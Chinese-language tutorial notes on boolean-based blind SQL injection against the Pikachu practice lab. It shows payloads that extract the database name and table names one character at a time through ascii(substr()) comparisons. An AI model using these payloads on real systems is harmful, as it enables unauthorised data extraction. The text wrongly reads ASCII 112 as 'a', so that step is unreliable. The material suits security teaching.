什么是盲注以及常见的盲注类型
基于boolean(true or false)的盲注测试
基于time的盲注测试
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,或者标准输出,输出到了前面,也就是说,并不会向我们之前的测试案例一样,sql注入的语法报错,给输出到了前端。
同时,当我们构造payload输进去的时候,它也并不会把多余的内容,在页面上进行显示,此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based boolean和based time两种类型
基于boolean的盲注主要表现症状:
0.没有报错信息
不像我们之前测的update那么简单
1.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)
2.输入and 1=1/and 1=2发现可以判断
在正确的输入下,会返回一个正确的显示,当我们构造一个错误的输入,它会显示另外一个页面,除此之外,就没有多余的输出信息,可以去做判断了
我们切换到pikachu上面来,基于真假的盲注
我们按照之前的逻辑,输入一个单引号,点提交
它不会报错,直接告诉我们输入的用户名不存在,这个没问题,我们在这个地方输入字符串的payload,
kobe' or 1=1#
然后注释掉后面的点查询
它也是提示用户名不存在,那是不是就说明这个点不存在sql注入漏洞呢,我们可以进一步做判断,
kobe' and 1=1#
发现它打印出了正确的输出,但是实际上,这个时候,我们输入的不是正确的kobe,而是跟着and 1=1#,但是这种情况下,它有个正确的输出,那是不是就说明and 1=1#被后台数据库给执行了,只不过我们前面的kobe是存在的,and 1=1是为真,同样的语法是成立的,kobe被输出了,然后我们可以输出and 1=2,试一下,
kobe' and 1=2#
因为不成立,它会提示用户不存在,通过这样的比对,我们就知道后端这个点是存在sql注入的,因为它会把我们拼进去的and 1=1,and 1=2,放到sql里面去进行运算,貌似这个前端输出的信息特别的少,它只有当你输入正确的时候,给你一个正确的结果,以及你输入不正确的时候,告诉你用户不存在,这两种形式,真和假的情况,我们用之前报错的payload试一下,而且这是extractvalue函数
kobe' and extractvalue(0,concat(0x7e,version()))#
仍然提示用户不存在,所以说,我们之前用的方法在这里就行不通了,那这种情况下,我们怎么获取对应的数据,我们先通过mysql来演示一下对应的逻辑
先通过mysql演示一个知识:
Select database(); //得到数据库名称
Select substr(database(),1,1);//使用substr函数截取结果中的值,从第一个字符开始,截取1个字符。
Select ascii(substr(database(),1,1)); 将截取出来的字符,转换成acsii码,以便于后面做运算。
Select ascii(substr(database(),1,1))>97; //结果会为1或者0,也就是true or false
上面的知识要引申出来的一个逻辑是:
既然在盲注情况下,从页面上只能判断1,0的情况,那么我们可以对databae()的结果,按照我们刚刚的方法,截取一个字符,转换成ascii后进行运算,也就是说,我们提交一个类似比较的payload,然后通过返回的结果,我们就可以知道payload打出来的字符串是什么东西,根据true或false的结果确认截取的这个字符的ASCII码,然后在将这个ascii码转换成字符,从而得到database()里面的第一个值。依次类推,得到所有结果。
盲注其实非常麻烦,我们在搞懂盲注的原理下,我们可以用工具去测试
如何确认需要遍历的结果一共有多少个字符呢?
可以首先使用length()函数做一个确认:通过一个比较,搞出长度。
因为基于真假的注入里面,所有从前端看到的只有两种情况,要么是真,要么是假,所以payload传到后台之后,得出的结果要么是真,要么是假,你从前端才可以进行对应的判断,否则是没法判断的,它的核心思路就在这里,我们这里可以用比较符号,
Id=1' and length((select database()))>x;
mysql> select length((select database()))>8;
+-------------------------------+
| length((select database()))>8 |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select length((select database()))>7;
+-------------------------------+
| length((select database()))>7 |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select length((select database()))=7;
+-------------------------------+
| length((select database()))=7 |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.00 sec)
这就说明我们database,返回字符串的结果是七个字符
首先我们确认了这个地方是存在sql盲注的
kobe’ 这是它前面的条件,and让前面的条件跟后面的条件,进行逻辑and的一个比较,如果kobe是真,那后面这个表达式也为真,返回的就是kobe的结果,如果后面的表达式为假,那就会返回username不存在,根据这两种,判断后面表达式执行的情况
Test Payload:
kobe’ and ascii(substr(database(),1,1))>113#
输出: 用户不存在
大于多少只能自己去猜测,然后把后端的单引号注释掉,如果说,返回对应的kobe信息,就说明后面的ascii码就为真,如果没有,就为假,根据真和假,我们就能够知道database的第一个字符串,到底是不是大于113的,然后我们就把ascii码给猜出来了
kobe’ and ascii(substr(database(),1,1))=112#
当然在实际当中,我们要一步步实际的去测试,这里我们是为了演示效果,所以我们就一步到位,因为kobe传上来了,后面又为真,那就应该把kobe的信息,显示出来,
kobe' and ascii(substr(database(),1,1))=112#
输出: kobe的信息
因此,可以判断database()的第一个字符为a!,有点费劲,但是这个方法是行的通的,所以说,按照这个逻辑,我们就可以进一步进行相关的构造
获取表信息的Test Payload:
kobe' and ascii(substr(
(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
)>112#
我们试一下,点一下提交
用户名不存在,说明后面的表达式执行的结果为假,我们把大于号改为小于号,
kobe' and ascii(substr(
(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
)<112#
它返回了kobe的信息,那就意味着,我们猜测的字符是小于112的,然后以此类推,我们一个个往下猜,就可以猜出来第一个字符到底是啥,这里就留个大家下去自己测试了!
我们后面会讲,如何用sqlmap去测试盲注,这样效率比较高,在实际注入过程中,手动去测试,还是比较费劲的